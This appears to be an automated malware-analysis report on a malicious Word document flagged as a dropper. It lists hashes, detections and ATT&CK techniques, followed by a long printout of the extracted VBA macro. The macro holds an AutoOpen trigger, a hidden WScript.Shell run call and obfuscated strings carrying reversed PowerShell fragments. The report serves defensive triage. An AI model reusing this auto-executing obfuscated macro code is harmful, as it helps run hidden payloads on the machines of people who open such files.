Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6a7a0081dee63087…

MALICIOUS

Office (OLE)

106.0 KB Created: 2018-03-12 10:36:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 11c5dfa147775ea2e5553807af55ed70 SHA-1: 5f78f209f3823c5021336ecd2d29d311dd0e8baf SHA-256: 6a7a0081dee630875fc7702b656f15393003f9ad3e0a1a53ab3845b1e50c417c
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample contains a legacy WordBasic AutoOpen macro, which triggers obfuscated VBA code. This VBA code utilizes WScript.Shell and CreateObject, indicating an attempt to execute a secondary payload. The ClamAV detection 'Doc.Dropper.Agent-6471145-0' further supports its nature as a dropper.

Heuristics 10

  • ClamAV: Doc.Dropper.Agent-6471145-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6471145-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    jJcRsvtUn = GjwPI * YFNCSw / UDqjTR - Round(9212826 * CSng(6048300 * CInt(nVqN)) + NFjG - Round(rwizI)) - 544 / rQFGz + kkUH / Rnd(CPaD) * (8476755 / CDbl(46003) + (vbZvYL / CByte(9937851 / CDbl(5707918) - 9282767 / 7466124)))
CreateObject("WScript.Shell").Run sqGhLb + uXMjwDOrQwMAjh + qYNmk + sEADUf, vbHide
czvlBhvws = HVEzcc * GVDz / BbfI - Round(8122381 * CSng(3557463 * CInt(UKwI)) + KIwF - Round(zQiI)) - 544 / RrindQ + tiRjYz / Rnd(Fsrct) * (4550093 / CDbl(6870764) + (MnmU / CByte(6065549 / CDbl(2299430) - 207043 / 4234020)))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    jJcRsvtUn = GjwPI * YFNCSw / UDqjTR - Round(9212826 * CSng(6048300 * CInt(nVqN)) + NFjG - Round(rwizI)) - 544 / rQFGz + kkUH / Rnd(CPaD) * (8476755 / CDbl(46003) + (vbZvYL / CByte(9937851 / CDbl(5707918) - 9282767 / 7466124)))
CreateObject("WScript.Shell").Run sqGhLb + uXMjwDOrQwMAjh + qYNmk + sEADUf, vbHide
czvlBhvws = HVEzcc * GVDz / BbfI - Round(8122381 * CSng(3557463 * CInt(UKwI)) + KIwF - Round(zQiI)) - 544 / RrindQ + tiRjYz / Rnd(Fsrct) * (4550093 / CDbl(6870764) + (MnmU / CByte(6065549 / CDbl(2299430) - 207043 / 4234020)))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "daHGNZUG"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 28894 bytes
SHA-256: c89d7210adcf3859c1eecfe0d21bae5894203c4de1090a02f6f667f031ecc221
Detection
ClamAV: No threats found
Obfuscation or payload: likely
454 of 668 identifiers look randomly generated (e.g. 'MnlwFpAEGAjBQYAMDAxAAMAgDAlBQNAcDAwAQOAg') — consistent with name-mangling obfuscation. Carved artifact contains 22 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "daHGNZUG"
Sub AutoOpen()
On Error Resume Next
WziDFsbGO = RjdtG * HPmURV / czKW - Round(4822954 * CSng(5458083 * CInt(umwJzv)) + jtosNt - Round(qlik)) - 544 / IzwnA + BsGGvV / Rnd(dfff) * (7597907 / CDbl(3934403) + (KLaWzc / CByte(734339 / CDbl(5310083) - 8526295 / 7282374)))
MbmETkwww = vDhaz * pjOjK / NoKzZb - Round(8009121 * CSng(4658099 * CInt(aAUtTj)) + Kvijrz - Round(HdzYim)) - 544 / NJaPO + uWLUJX / Rnd(VCNhdk) * (8322881 / CDbl(4971253) + (AiGNo / CByte(561865 / CDbl(3725777) - 4889100 / 625683)))
LlQMrtiFk = nkOX * QdEQS / uvuuIw - Round(1718705 * CSng(17680 * CInt(rClR)) + mTJLTC - Round(znmjm)) - 544 / mzKw + GIQq / Rnd(SiwVF) * (5188024 / CDbl(2231788) + (wwZhzU / CByte(8783988 / CDbl(9483999) - 3121382 / 4275397)))
vHHLWpWCw = AiIhww * cWjSYc / kphF - Round(164376 * CSng(8158519 * CInt(FqmV)) + OHMHz - Round(cSkT)) - 544 / rkAdRa + DWfGaj / Rnd(QBIp) * (9137406 / CDbl(7747066) + (LNhjQ / CByte(3012398 / CDbl(6398006) - 2994480 / 9276842)))
Application.Run "fqNwGvZ", JpHqbJKzLqkcWC
KRRBqVANn = HjwDI * fziBT / ofRfW - Round(3686503 * CSng(8732165 * CInt(KCna)) + pJfRv - Round(vBQh)) - 544 / NKZDkP + Nchcmj / Rnd(wjTl) * (3832616 / CDbl(922662) + (YiTXzi / CByte(7566744 / CDbl(142695) - 4640799 / 5243621)))
XziSMuqQu = aznM * vHzUb / wcso - Round(5397734 * CSng(1102738 * CInt(khLME)) + FoFr - Round(mdVZAV)) - 544 / uHAEb + jwLaVm / Rnd(koKfN) * (8619770 / CDbl(2551697) + (hHiqPL / CByte(6395622 / CDbl(9661059) - 8927018 / 4566090)))
bWOhwfjGV = IuiSS * BwTp / IHjM - Round(24582 * CSng(3358722 * CInt(Lizw)) + DuPP - Round(pizG)) - 544 / jlncQ + CKifE / Rnd(TPiU) * (9691189 / CDbl(2672494) + (vqhKd / CByte(5230223 / CDbl(4723048) - 629990 / 9664990)))
wIoqFkavZ = BqIUQ * MraAj / rRjKh - Round(9969712 * CSng(5221108 * CInt(BrUE)) + ZqOF - Round(omvbMc)) - 544 / WQqRjz + RQRX / Rnd(uDbU) * (2994595 / CDbl(4173837) + (VEIq / CByte(5448583 / CDbl(9662716) - 7212647 / 8381286)))
End Sub
Function JpHqbJKzLqkcWC()
On Error Resume Next
rHZJSjsi.nAAasrpGfFTnZzfNazGFG
NLhwNPbcnq = fshu3bbnabn3("%<N6nZz2Qj.fzSSNV9]XjvAiBgZAUGAmBQZAQDAkBQMAMDAhBQYAUDAmBgYAEDAhBQZAIDAlBQZAMDAhBQZAEGA0AgMAMGA4AQYAIGAjBAZAcDAkBQMAUGAyAgMAIGAhBgMAYDAkBQMAADAzAQNAgDAzAgZAYDAxAwYAQDA3AgMAUDAzAgNAEDA3AQZAMDAlBAMAgDAzAAvAK", 4, 180)
rHZJSjsi.nAAasrpGfFTnZzfNazGFG
FWLKzjlTvwML.iclFNjiMSscCtwnzVZPVdRYAD
UhDSYvzKsi = fshu3bbnabn3("ljTutbNAYDAwAwYAgDA1AAOAMGAlBAMAADAlBwNAEGA3AgYAQDA4AAOAMGAjBwYAIGAhBQYAQGAkBQYAQGA1AQYAQDAzAgMAMDA5AwNAADAyAwMAQGArHj#", 5, 109)
FWLKzjlTvwML.iclFNjiMSscCtwnzVZPVdRYAD
EwSBUwjCVU.UKcZaFmSDzrmjFpuhFRmdWpijRHal
NODIKQ = fshu3bbnabn3("Hq8H@NCi<YO$fF(VJV9iXB)]zVR#DZtH21lAwMAgDAiBQZAUDAzAgNAEGAzAwYAkDAxAAZAIGAxAgYAgDAwAwNAYGA0AAMAUDAwAANAEDAiBQYAIGAxAgNAUGA2AANAQDAjBQOAMGA3AwNAgDAyAwYAcDA5AAZAkEV[", 4, 125)
EwSBUwjCVU.UKcZaFmSDzrmjFpuhFRmdWpijRHal
OkrRmwdkpvb.ztpKiPQjzJUzXMhuoZpomTSqC
TCuDGo = fshu3bbnabn3("nJt@8_4bkBwNAADA1AwMAIDAlBQOAQDA5AQMAADAwAQZAUDAxAgNAkDAmBAkZ(NJ]w", 8, 51)
OkrRmwdkpvb.ztpKiPQjzJUzXMhuoZpomTSqC
jkBOcQififqG.CwRbVHXowbZTjiYhfS
MpajG = fshu3bbnabn3("P<F<EXPmq_HwAAOAMDA2AgYAMGAwH_", 3, 17)
jkBOcQififqG.CwRbVHXowbZTjiYhfS
jOjBdmDidh.pkjlXuFjikWnzpbwBSaEEjOlunSn
HYJoYPsMu = fshu3bbnabn3("cP@VCq#$Iqkj8pWE4OAcDA0AQMAUDAzAQOAUGA5AQMAEGAjBQOAIGAwAQYAEGA4AAOAMDAlBgMAIGA2AQOAQDA2AQZAYDA3AwMAIDAjBwNAIDAkBQZAMGAjBgMAcDAwAQOAcDA4AQZAMGA0AQMAMGA4AAZAUGAzAANAcDAmBgMAwHA9AQPAEEAvBQUAUDAuBgSA8CAwAAeA8EAlBwZ%ud", 4, 193)
jOjBdmDidh.pkjlXuFjikWnzpbwBSaEEjOlunSn
LrwqoJdNXmQ.tiquOjiPjLjsMVbZfPzH
WJivREq = fshu3bbnabn3("SHf4NM(%pK[4<TEnSuk)))) )32,78,011,201,031,642,72,241,08,43,14,6,542,161,31,321,411,722,532,88,081,74,391,491  k-  gNirTSeruCeS-OTtrEvnOC|'==AAiBQYAMDAiBgNAADAlBANAMDA3AQYAQDAhBQOAQGAkBQzB%iu)tl", 9, 167)
LrwqoJdNXmQ.tiquOjiPjLjsMVbZfPzH
wsvZYPRX.wiXldavPNwpjuQJak
imjctZOOj = fshu3bbnabn3("ftncqS7k(KC<NHWGkEPiQZAUDA3AANAEGAyAQYAgDAkBQNAEDAkBQYAUDAjBwMAYGAwAgZAADAkBAOAIDA3AAOAcDAyAgNAQGAzAAMAYDA0AQZAgDA0AAZAMDA4AgNAIDAmBAMAQGAlBQMAMGAzAwMAEGAiBgZAYGA2AQOAEDA5AQOAQDA3AQMAYDAjBgYAQGAxn<lUWqr0%2%Q2%Nm", 17, 175)
wsvZYPRX.wiXldavPNwpjuQJak
UjMzhLnRaS.wWjuEFsqsMTIsmwaOHJTOpr
iYwKE = fshu3bbnabn3("WZJF_<qdHbnUR[(EkoVnI.)EMaN.]4[D4u%$TPo<X!nH5A#5", 18, 21)
UjMzhLnRaS.wWjuEFsqsMTIsmwaOHJTOpr
iEWsCkwFJ.foDAvzldjtVMGXkusjFJJsqaKnVPv
WOzNqLjMqci = fshu3bbnabn3("DMSZXHdBAMAUDA2AAOAEDA3AANAIDAiBANAcDAyAgMAEDA1AgMAMGAyAQMAIDA0AQNAYDAlBgYAIGAmBQNAUGAkBwNAYGA5AAOAkDAwAwMAkDA0AwMAIGA1AAOAEGA3AQZAYGA4AAZAEGAjBgZAIGAmBAOAIDAyAQOAIDA4AQMivLP4j6XndkT2Nwz", 17, 163)
iEWsCkwFJ.foDAvzldjtVMGXkusjFJJsqaKnVPv
haqUutHD.OzJswridAUSv
hqkTwQhshnw = fshu3bbnabn3("GfnAIGAjBgYAYGAwAQNAUDAy16F)jUz]", 9, 21)
haqUutHD.OzJswridAUSv
sHzFYvjYrBGh.mvFZwhtrpsDfWNf
QWTbTYcX = fshu3bbnabn3("CB23NtY]]CmOAEDAzAQOAUGAzAQOAUGA1AwNAIGAzAAOAUGA1AQNAYDAmBAZAEGAxAAZAEGAlBAMAYDAyAgZAQGA0AQZAEDA0AQOAQDA3AgMAMGAjBwYAMDA2AgZAEDAzAgZAQGA4AgYAMDA1AgZAcDA2AwMAMDA1AAMAgDA1AAMAADA5AQZAMGAkBAOAQDA4AQNAgJ$Ho0", 6, 187)
sHzFYvjYrBGh.mvFZwhtrpsDfWNf
vCbsZJjrz.vPHVXSqIbrFwnFUoD
HirOXiwfHCZ = fshu3bbnabn3("nHu5$zJpvnQ9gMAYGA3AwYAYGA3AgYAcDAiBgNAIGA3AwYAQDAzAANAMGA2Aw(jHuU(%mH@!KjjQMj1j9%", 22, 49)
vCbsZJjrz.vPHVXSqIbrFwnFUoD
cWtHunwYLXt.LZEUStLFTIhBRWnz
MHBOWnRH = fshu3bbnabn3("kY<8fFNbHjvGW9jjDjNHMAIGA4AAOAEDAkBwMAQDAlBgNAYGA5AQOAIDAhBAOAcDAzAQMAkDAxAAMAcDA4AgNAQGAkBgNAIDAxAQYAUGA0AgNAUDA3AAOAMDAhBgMAQGA1A_WOQNcuMC]]Yrwjl8", 18, 111)
cWtHunwYLXt.LZEUStLFTIhBRWnz
CVVzOqBOj.QOvIYBkfdmmlEUN
EbULQdQ = fshu3bbnabn3("Wj(DJWozTz7Y26YY TAUDA1AQYAUDAxAwNAUGA2AAMAQGA3AQOAUDAlBwYAcDA4AwMAQDAjBQOAEGAzAQZAYGA5AgNAUDA4AAZAQDAlBwNAcDAiBAZAcDAiBAMAIGAmBAOAUDAjBwMAUDA3AQOAEDA1AAOAIDAlBwNAIGA5AgNAUGA5AgMjjt%h(W4XUCpXi0HQ9Q", 20, 160)
CVVzOqBOj.QOvIYBkfdmmlEUN
lEBuHriFLX.sTqYdCZKRhOzO
SwkWvnN = fshu3bbnabn3("Q!GMKYGAyAgMAgDAzAwYAEGAmBwYAcDA4AwNAkDA4AgZAgDA4AwNAMDAkBwMAEGAkBANAEDAlBgZAVE#@juit[<AQw#", 15, 71)
lEBuHriFLX.sTqYdCZKRhOzO
BXYzfnHpzI.hSjiNEwicJqdlTDDNPrcBv
CbFjFoscJjq = fshu3bbnabn3("oU%vv04wYkfqoJDNMtjL$Jb6ZlMGAyAQMAUGAlBAMAQGAxAg)dS[", 5, 22)
BXYzfnHpzI.hSjiNEwicJqdlTDDNPrcBv
AcKQbpUwr.jtnVHpODjzDGFwXXVlLPY
waCclq = fshu3bbnabn3("pHAuwRZAQDAmBAMAMDAxAQZAUDA1AgYAQGAkBgMAYDAyAgYAYDAkBQNAEGAwAAMAEDAwAQMAMGA2AQOAIGAlBQYAEGAiBwNAYDAiBQNAYGA2AwYAEDAjBgZAQGAyAgZAQGA1AAZAADAxAAOAEDA4AQYAIGAjBQZAADA5AQMAvC6U@", 6, 162)
AcKQbpUwr.jtnVHpODjzDGFwXXVlLPY
HGLqpVUfc.iRnNBjvGjlNPzufrYmIhZ
GjVuqSpW = fshu3bbnabn3("w3$Pvn2V$lDAiBAMAYGAkBANAQGA1AQNAIDA0AgYAgDAxAQYAMGAiBQZAMDAwAAMAQGA4AwNAgDA0AQYAIDAhBwNAYDAyAgMAIGA2AAZAcDA2AQNAQDA4AgMAQDAwAwYAIDAxAAOAYDAkBgYAMDAlBQOAQGA4AQYAgDAzAQMAIGAiBQOAIGA4AAOAgDAyAAo(z7i(5AoXw$sHv0N7", 19, 181)
HGLqpVUfc.iRnNBjvGjlNPzufrYmIhZ
faNHrwSzAfd.zjhdFYSqTQEANzwjrfiTOGSXcGj
inoOVh = fshu3bbnabn3("vL[@fmBQZAIDAmBgYAgDA0AgZAkDAzAAOAMGAiBQYAcDAxAAOAUDAhBgYAkDAmBQZAEDAn0HV%uc2]k]FHN3wZzblmAf3", 25, 63)
faNHrwSzAfd.zjhdFYSqTQEANzwjrfiTOGSXcGj
CsUiuwjuhQ.siiUjQPCkWrrlnOZAhnvRf
vMBCW = fshu3bbnabn3("CVRaM.secIVRESpOREtnI.eMitnUR[(::]lAHSRAM.SecIvreSporETNI.emITnuR[ ( ()''nIOJ-]52,51,4[CEPsMoc:Vne$ ( &JbX%z7A%", 9, 101)
CsUiuwjuhQ.siiUjQPCkWrrlnOZAhnvRf
tjRonSWwS.AiDpZlikTVlwpJ
bnLdzjPYk = fshu3bbnabn3("pQl$[Bmf0wE7bP61JI9ZHUGAmBgYAYDAiBAZAgDAzAgZAUDA4AAZAADA4AwNAcDAxARXH%", 5, 45)
tjRonSWwS.AiDpZlikTVlwpJ
VYwGZTBCM.OVpCMorXTqvoMViIZMckjYSNQPD
rsGVzFK = fshu3bbnabn3("nzbRAEDAjBAMAgDA4AAMAcDAhBwNAQGAyAgYAIDAlBgNAEGA1AwYAEGAlBQOAMGAzAQNAkDAwAANAEGAwAQOAIGAjBgNAgDAkBgYAMDAmBgZAIGAiBgMAQDAzAQZ2hAPuvqpF$fH7FK(", 17, 120)
VYwGZTBCM.OVpCMorXTqvoMViIZMckjYSNQPD
FLmGazRpWB.tcXJjmBbzvVaMPwAcELOKtVs
VjmYiR = fshu3bbnabn3("i]YJHwjCzQYAYGAxAgMAEDAxAwNAIGAkBgNAADA0AgZAQDAmBgMAUGA2AQNAUv_", 3, 52)
FLmGazRpWB.tcXJjmBbzvVaMPwAcELOKtVs
OZYTfzpGUbR.PFfojpEwiEGCCZTkqz
nLWBq = fshu3bbnabn3("0Z#EGA3AwMAQGAzAQNAIDAhBAZAQDA1AANAkDAjBAOAkDA4AQOAIGAiBwYAEGAFEwjXlBiT9oHX%WN#j8Wk@", 23, 59)
OZYTfzpGUbR.PFfojpEwiEGCCZTkqz
uljkETjwjOEs.bQjjhJjCNOlRBQdGwBjv
tlwVd = fshu3bbnabn3("j[9V]jBgMAEDAiBwYAYDAzAAZAUGAmBgNAkDAzAwYAIDA0ANt9ipATZ", 9, 42)
uljkETjwjOEs.bQjjhJjCNOlRBQdGwBjv
UYFCKwjdpB.hidwDtkuLMSbMT
XZFzz = fshu3bbnabn3("HiAMAQGAkBwYAIDA0AANAgDAhBQOAQGAlBgMAQGA2AQNAEGAiBQNAUDAkBgNAIDAiBgZAEGA2AgZAUGAxAgNAADA2AQZAUGA0AgZAQGA0AwNAQDA5AwYAEDA0AQMAEGAxAQMAIDA4AAOAUDAlBQYAkDA3AAMAMGA5AANAIGA2AgMAIDA5AgY]!Col#%FqnbN_vowvN2junIDBAl8jY", 31, 178)
UYFCKwjdpB.hidwDtkuLMSbMT
wGBwlwmHoG.qTdlbjlLOrrpflT
VMGIz = fshu3bbnabn3("RHq8$QHFv@jJTNdzVS8q5XSlYwFnS%b%KYBgZAMGA1AgMAQDA3AgYAMDA4AQOAUDAhBQYucKb", 5, 35)
wGBwlwmHoG.qTdlbjlLOrrpflT
zrrtztChlwR.FGAiYhZSBdRo
oUXwEiJib = fshu3bbnabn3("%5vQS2($9(2r2LUWNn(]v]AlPEMAEDAhBwYAYDAjBQYAIDAzAAZAEDA4AQMAMDAwAQMAMDA0AwMAkDAlBQOAcDA3AQNAUGAzAAZAMGAhBgYAIGAkBwYAQDA4AgNAgDAjBwNAcDAjBAMAEDAwAwMAEDA4AgYAUDAmBQZAQGAxAQMAUGA0AANAMDAmBgYAEDAlBQMAUDAlBwNAYDA4AgYAYDA1z", 2, 190)
zrrtztChlwR.FGAiYhZSBdRo
BuWFFLjvQuN.QBlozHaddGKjKcaZpmctH
jFkDjtSmzz = fshu3bbnabn3("$FE8ppvqvM1oPvAiBQZAUGAmBQNAUGA4AAOAMGA5AAMAIGA0AANAkDAiBANAEGAwAANAIDAwAAMAUDA1AgYAIDAyAgZAYGAwAAZAgDAjBwYAcDA5AAZAUDuJFi8NstHlocwMmHun_", 20, 104)
BuWFFLjvQuN.QBlozHaddGKjKcaZpmctH
VhpzmzMJ.iSUJRJCwMnPvzuCj
QQZVj = fshu3bbnabn3("Tp7k@TP(KU4SVjHDAyAQNAQDAxAAMAkDA0AAZAQDAyAQYAIDAwAQZAgDAzAAOAUDA1AwNAADA2AwMAUDA0AQMAcDA3AAZAIGAhBQMAMGA4AQOAYDAhBAZAADAwAQMAYGA1AAMAIGAjBQYAMDAlBAMAUGAwAQYAYD<n_bMTI7PM8", 12, 145)
VhpzmzMJ.iSUJRJCwMnPvzuCj
fhjwqVWDJo.zuIjEzLLslzIvqsimLAQWKz
qEPncROYjq = fshu3bbnabn3("jHdAgDAkBwNAIDAlBQMAYGA3AANAQDAkBgZAEGAlBAMAUDAxAAZAEGAmBwNAADAxAgZAEDAhBANAgDAzAQYAIDA4AwNAQGA1AgNAgDA4AQOAIDAhBQYAEDAmBgNAQDAkBgZAIGAzAwNATkoHHT2vrbv2(Ykh#KqJkHjMrN6", 28, 137)
fhjwqVWDJo.zuIjEzLLslzIvqsimLAQWKz
WzXBTQjTE.FTLmAYCzHHiVwjfaumI
zlBzErpJM = fshu3bbnabn3("DNp(8@qowXlAOAkDA3AQNAQDAjBANAEGAzAQNAkDAkBAOAIDAiBQYAYDAiBAMAMGA1ASE%08Ab3<qSf[M", 15, 56)
WzXBTQjTE.FTLmAYCzHHiVwjfaumI
jABEbpXEtfRv.jZUBwvwPAuHthbCBSwYnSTXpr
QjGQR = fshu3bbnabn3("jjHDQ)MKMdW)U4d_fzpzHU2gMAUGAhBAZAQGAzAAOAEDA1AAMAADAzAQZAUGA0AQMAIDAkBgYAkDA2AQNAYDAm9w6LP80u9JciH", 14, 63)
jABEbpXEtfRv.jZUBwvwPAuHthbCBSwYnSTXpr
buWFrPXMrDB.UdzwMbNnDUVrNT
THNfcSXlT = fshu3bbnabn3("W[]jzWznAcEA4BwUAYGAuBgYAEGA3AQcAMGA8BgM5435a05061b3143240f3476111d29467'($ (edOcinUcOlLalaboLGOTGNIrtsERUCEs::]lAhsRam.seCIVRESPoRETNi.emitpj1i2WphYAQA4Nbf", 17, 132)
buWFrPXMrDB.UdzwMbNnDUVrNT
ljuvnFPjPEf.jEWhMPruXPuwiqiPuGKVitiAuU
wIDcGM = fshu3bbnabn3("k<AAOAEDA5AAMAADAyAgMAMGAjBgMAEGAxAQYAgDAxAgNAIGA0AAZAcDAwAAZAADAiBQYAEDAxAgNAcDA2AwNAgDAiBwNAEDAmBAZAADAwAQZAADAxAwMAYDAiBwNAMDA2AgNAEGAhBAOAMGAyAANAQDA4AwNAYGAhBAMAkDA5AgYv[PWTMHl]WQP4F]MC po%jvu2YTc%", 30, 171)
ljuvnFPjPEf.jEWhMPruXPuwiqiPuGKVitiAuU
rzQvpMqbYhth.ZCnIlSMLsrPIHzRz
GsmriBijnJK = fshu3bbnabn3("HkjbZ[Lu74]ptYOAgDA1AgNAYDAwAQMAMDAlBgNAYDAhBAZAcDA0AQNAEFiqwCJq%JH22M", 14, 43)
rzQvpMqbYhth.ZCnIlSMLsrPIHzRz
cAzNJhsjiNp.KVBqFlLVvBKSKVFt
qvIcAaiSUEz = fshu3bbnabn3("%z)sAwNAEDA1AwYAEGAmBAMAYGAwAAZAMGEnkF((sWpp Akw%TXN3[ZC<", 24, 30)
cAzNJhsjiNp.KVBqFlLVvBKSKVFt
IowPIOPiq.nsQoAJWMIhqPbkHfwDPAJiiqFmz
ZvLJIASHkS = fshu3bbnabn3("tuYAEDA0AQYAMGAlBANAMGAmBgYAkDAjBwNAQDA4AQMAgDA2AQYAUGAhBwYAIDAiBgNAMDAyAgMAgDAlBwMAYDA5AgMAMGAxAAZAIDA1AAOAIGAxAAOAUDA1AwNAYDA4AAOAkDA5AgYAkDA0AQZAIDAjBwMAYDAwAgNAUDAmBwMAEGAiBQYAEGAhNwSj@]VDYh2N", 13, 182)
IowPIOPiq.nsQoAJWMIhqPbkHfwDPAJiiqFmz
FEJlJUtEnJEO.JLAviRBiYOHoJtTwHWA
XwpEAj = fshu3bbnabn3("b$wH<GqS2%MfVKbLHA2AwYAADAjBQOAADAxAwNAEDAyAAMAgDAlBQZAkDAkBwMAkDAmBgYAEDA5AQMAQDA5AgMAUGA3AQNAIDAjBQOAgDAjBgYAIGA2AwMAIDA4AQOAEGAxAQZAEDAlBQOAADAzAgNAEDA1At<vi9B7q5Q", 11, 139)
FEJlJUtEnJEO.JLAviRBiYOHoJtTwHWA
VsjozazYCZ.bNjGdQEpzqwEFPOCAEk
UItGp = fshu3bbnabn3("%TM4DAxAANAEDAzAgMAkDAmBgMAUGAzAQOAcDA0AAOAUGAmBQOAYDAwAQNAgDA3AgYAMGA2AAZAUGAmBQYAIGAxAQZAEDAlBgNAUGA1AAMAMGAiBAOAgDA5AAOAIGA5AQNAW2MHph", 7, 127)
VsjozazYCZ.bNjGdQEpzqwEFPOCAEk
wtGPulpPoZ.sKBVawmKIsYCAipswsQBarIADrfnA
DZfYHOcwOqz = fshu3bbnabn3("Ao7dBjNwDlNKN8(GA3AQOAADA3AQZAUDA2AgYAQDAxAQNAEGAiBQMAADAyAQYAUGAhBQNAQGAyAgXnM", 4, 61)
wtGPulpPoZ.sKBVawmKIsYCAipswsQBarIADrfnA
pjBJHKRjp.JodmFzTpwnYFKHi
huIEFjGUU = fshu3bbnabn3("MnlwFpAEGAjBQYAMDAxAAMAgDAlBQNAcDAwAQOAgDAlBwNAIDAyAgNAYGAwAgZAEGAwAQZAEGAjBANAIDAiBANAEGAlBgZAIGAlBgYAUGA0AANAIDAlBwYAUGAhBgYAQGAjBgYAoDmY8D", 7, 129)
pjBJHKRjp.JodmFzTpwnYFKHi
mbTRCjjhl.sLrVlzJjzZJuHUfposMwuQP
PwioR = fshu3bbnabn3("EwME([E%Mj<0Y.XFOAIDAhBQOAQGA3AANAMDAkBQYAEDAyAgNAIGAlBQMAYGAhBAMAkDAwAQNAgDAlU<p$bY0f2", 10, 62)
mbTRCjjhl.sLrVlzJjzZJuHUfposMwuQP
RQwfRpNrNXH.wkpuDKmdszcUfIVaQiAlpFCsr
jfwAz = fshu3bbnabn3("]GNnzjbV6u2oqlO7TL_]u6N<cQ]0AQMAUGAlBgZAgDA0AQZAMDAxAwNAMGA5AgZAQDAzAQOAQDA0AAZAkDAwAQYAIDAxAgNAIGA4AgZAMGA2AAOAEGA3AwMAUGAyAgZAQDAkBwMAYGAzAQYAIGA4AANQ18FH]", 7, 123)
RQwfRpNrNXH.wkpuDKmdszcUfIVaQiAlpFCsr
fPuiFwazKFC.XzFuIHEKhIAkKRvlnciQECU
jtuFldqhIDD = fshu3bbnabn3("CGclT(U@kMDA0AAOAMDAjBgNAcDAlBAOAcDAiBgMAQGAxAQNAIDAjBQZAcDA2AQYAADA4AQMAMDAmBgMAUGAyAgYAQGAzAAMAEGAiBgZAV<f5fQ", 7, 96)
fPuiFwazKFC.XzFuIHEKhIAkKRvlnciQECU
BpvlGibqAh.CSjAwMfcioAiXbwww
wUVqiWzVj = fshu3bbnabn3("$64t$cYvCW(<toAZAIGAjBgMAEGA2S$[uLmIYX#w!izYM", 17, 14)
BpvlGibqAh.CSjAwMfcioAiXbwww
zrDoMGHIPDs.EYDRjkoZWRPXFRjRtRG
oqtmnK = fshu3bbnabn3("([2Sr[%Y8V7T]jbTC[HfMMIDA2AQMAQDA1AQYAMDA1AwMAUGAiBQZAQGAlBQMAEGA2AgYAQDAkBQNAIGAzAQZAYGAyAAZAYGAyAANAMDAlBAMAUGA4AgNAYDA5AAZAIGA1AQZAMDAmBQYAkD[HmlTH1#w2v$", 13, 122)
zrDoMGHIPDs.EYDRjkoZWRPXFRjRtRG
awNjOPQLhzq.cDVEiHfikawzaZCSNkJDDEuDi
UAVVRdHFJcc = fshu3bbnabn3("9HQNAkDAxAANAgDA5AAMAIGA0AANAEGA3AwNAIDA4AQOAMGAwAQNAADAiBAMAUDA1AgZAcDA1AQOAMGAxAQOAIGAxAQZAIGAiBgNAEGAlBQNAu<qwm12p[zT_ntnkP@tPhoI0wrtHU", 30, 107)
awNjOPQLhzq.cDVEiHfikawzaZCSNkJDDEuDi
AjmilfWfsl.OIikGfIzKipDZTZAqAftXEzD
jOIbKZnuGw = fshu3bbnabn3("(Zf]HvZqofAADA2AQYAIGAxAAOAMGAjBAOAEDAjBgYAkDA1AwMAkDAkBgYAEDA4AgMAMDA3ApbN7fNf", 8, 62)
AjmilfWfsl.OIikGfIzKipDZTZAqAftXEzD
wAGrTABJGfU.YihmOOlRXmYdfQU
dIkPpWzrJVa = fshu3bbnabn3("(c5it8%0HW(vCMbDj8NfoBHzmAgDA1AwYAIGA3AQMAIGAjBQNAUGAiBANAcDA3AQNAcDA2AQMAQGA5AgZAMDAiBQMAgDA4AQMAIGAlBAOAQGA2AQYAUDA4AAMAUGAlBwYAYDA3AQOAIGA0AANAYDA4AQMAEGA4AAMAADAjBQZAMDAlBAUqpoz3]Z(iN7j", 14, 151)
wAGrTABJGfU.YihmOOlRXmYdfQU
ZWZpKMNiYo.TNhCiblXYAYGMGzOBtw
TqjBfNhEE = fshu3bbnabn3("WolqW91jTB)(SREbMEmTeG.]LAHSwz", 3, 18)
ZWZpKMNiYo.TNhCiblXYAYGMGzOBtw
iNisQWGIkkMn.MUMbcKqKwquEVlEFAjHaqMfHk
kDSKjwVVAF = fshu3bbnabn3("kjtjONLjQAYH$j[<([W[%MzAzAgYAMGAkBQOAcDAjBwNAIGAyAAMAIDA5AgMAMDAhBQYAUGAyAQNAYDAwAANAUDAxAAMAIDAzAQNAQDAlBQNAMGAkBQYAQGA2AATUz", 4, 100)
iNisQWGIkkMn.MUMbcKqKwquEVlEFAjHaqMfHk
